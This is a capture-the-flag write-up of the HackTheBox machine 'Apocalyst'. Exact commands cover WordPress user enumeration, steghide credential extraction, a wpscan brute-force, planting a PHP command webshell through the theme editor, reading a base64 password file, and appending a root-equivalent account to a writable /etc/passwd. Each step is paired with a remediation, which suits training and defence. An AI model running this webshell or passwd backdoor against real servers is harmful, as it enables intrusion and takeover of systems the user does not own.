Apocalyst
Summary
Target apocalyst.htb ($TARGET) was fully compromised through a chain of WordPress misconfigurations and weak credential hygiene. The unauthenticated WordPress REST API exposed the username falaraki; a browsable uploads directory revealed an image file concealing password material via steganography with a blank passphrase.
That material, combined with WPScan brute-forcing, produced valid WordPress administrator credentials. The built-in WordPress Theme Editor — left active on the production site — was abused to write a PHP command shell into a live theme file, giving code execution as www-data.
A world-readable, base64-encoded file in falaraki's home directory then yielded her SSH password in plaintext, enabling lateral movement to a full user shell. Finally, /etc/passwd had been left world-writable; a new UID-0 account was appended and accessed over SSH, completing full root control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered>"
export PASSWORD3="<the-password-you-recovered>"
export HASH="<the-hash-you-recovered>"Some commands also carry a value in angle brackets — <recovered-file>, <the-nonce-from-the-editor-page>, <wp-admin-password> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Service and version scan on the two open ports.
$ nmap -sV -sC -p 22,80 $TARGETRegister the required virtual hostname for all subsequent requests.
$ echo "$TARGET apocalyst.htb" | sudo tee -a /etc/hostsFingerprint WordPress version, plugins, themes, and registered users.
$ wpscan --url http://apocalyst.htb --enumerate vp,vt,uExact commands 2
Enumerate WordPress usernames without credentials.
$ curl -s 'http://apocalyst.htb/?rest_route=/wp/v2/users'Confirm username via author-archive redirect header.
$ curl -sI 'http://apocalyst.htb/?author=1'FixRestrict WordPress REST API user enumeration to authenticated requestsMedium
Exact commands 4
Confirm directory listing is enabled and locate image.jpg.
$ curl -s -i 'http://apocalyst.htb/wp-content/uploads/'Download the exposed image file.
$ wget http://apocalyst.htb/wp-content/uploads/image.jpgExtract hidden payload using a blank passphrase; saves recovered file to disk.
$ steghide extract -sf image.jpg -p ""Brute-force the WordPress login using the extracted credential material; replace <recovered-file> with the steghide output path.
$ wpscan --url http://apocalyst.htb --usernames falaraki --passwords <recovered-file>FixDisable directory listing on uploads and remove credential material from web-accessible pathsHigh
Exact commands 4
Authenticate to WordPress admin and persist the session cookie; replace <wp-admin-password> with the recovered password.
$ curl -sS -c cookies.txt -b 'wordpress_test_cookie=WP+Cookie+check' -d 'log=falaraki&pwd=<wp-admin-password>&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1' 'http://apocalyst.htb/wp-login.php' -L -o /dev/nullRead the editor page and lift the _wpnonce it embeds; the save below is rejected without it.
$ curl -sS -b cookies.txt 'http://apocalyst.htb/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen' | grep -o '_wpnonce" value="[^"]*'Save the theme file through the editor's own update action. Anything else the endpoint rejects.
$ curl -sS -b cookies.txt -X POST 'http://apocalyst.htb/wp-admin/theme-editor.php' --data-urlencode '_wpnonce=<the-nonce-from-the-editor-page>' --data-urlencode '_wp_http_referer=/wp-admin/theme-editor.php?file=404.php&theme=twentyseventeen' --data-urlencode 'newcontent=<?php if(isset($_REQUEST["cmd"])){ echo "<pre>"; system($_REQUEST["cmd"]); echo "</pre>"; exit; } ?>' --data-urlencode 'action=update' --data-urlencode 'file=404.php' --data-urlencode 'theme=twentyseventeen' --data-urlencode 'scrollto=0' --data-urlencode 'submit=Update File'Verify execution; expected output: uid=33(www-data).
$ curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?cmd=id'FixDisable the WordPress Theme and Plugin Editor in productionHigh
Exact commands 2
List falaraki's home directory from the www-data webshell.
$ curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?c=ls+-la+/home/falaraki'Read and decode the credential file; output is falaraki's SSH password.
$ curl -s 'http://apocalyst.htb/wp-content/themes/twentyseventeen/404.php?c=cat+/home/falaraki/.secret' | base64 -dFixRemove world-readable credential files and store secrets with proper access controlsCritical
Exact commands 2
Log in as falaraki; password is <withheld>.
$ ssh falaraki@$TARGETRead the user flag: <user.txt>.
$ cat /home/falaraki/user.txtExact commands 4
Confirm world-writable permissions from the falaraki shell; expect -rw-rw-rw-.
$ ls -la /etc/passwdGenerate a password hash for <withheld> and append a UID-0 account entry to /etc/passwd.
$ HASH=$(openssl passwd -1 -salt $PASSWORD3 $PASSWORD3) && echo "pwned:${HASH}:0:0:root:/root:/bin/bash" >> /etc/passwdLog in as the newly created root-equivalent account; password is $PASSWORD.
$ ssh pwned@$TARGETConfirm uid=0(root) and read the root flag: <root.txt>.
$ id && cat /root/root.txt
uid=0(root)FixRestore correct permissions on /etc/passwd and audit critical system files for unsafe write accessCritical
Attack patterns used
The transferable techniques behind this compromise.
CMS Exploitation (WordPress/Joomla/Drupal)WebT1190
What it is
Content management systems and their plugins/themes are a large attack surface: known-vulnerable versions, exposed admin panels, weak credentials, and insecure plugins lead to authenticated or unauthenticated RCE. wpscan enumerates WordPress versions/plugins/users; Joomla and Drupal have their own well-known RCE chains (e.g. Drupalgeddon).
Why it works
CMS deployments lag on patching and accumulate third-party plugins of varying quality, while admin interfaces are exposed. Remediate by patching core+plugins promptly, removing unused extensions, restricting admin access, and enforcing strong auth.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.18 ((Ubuntu)) |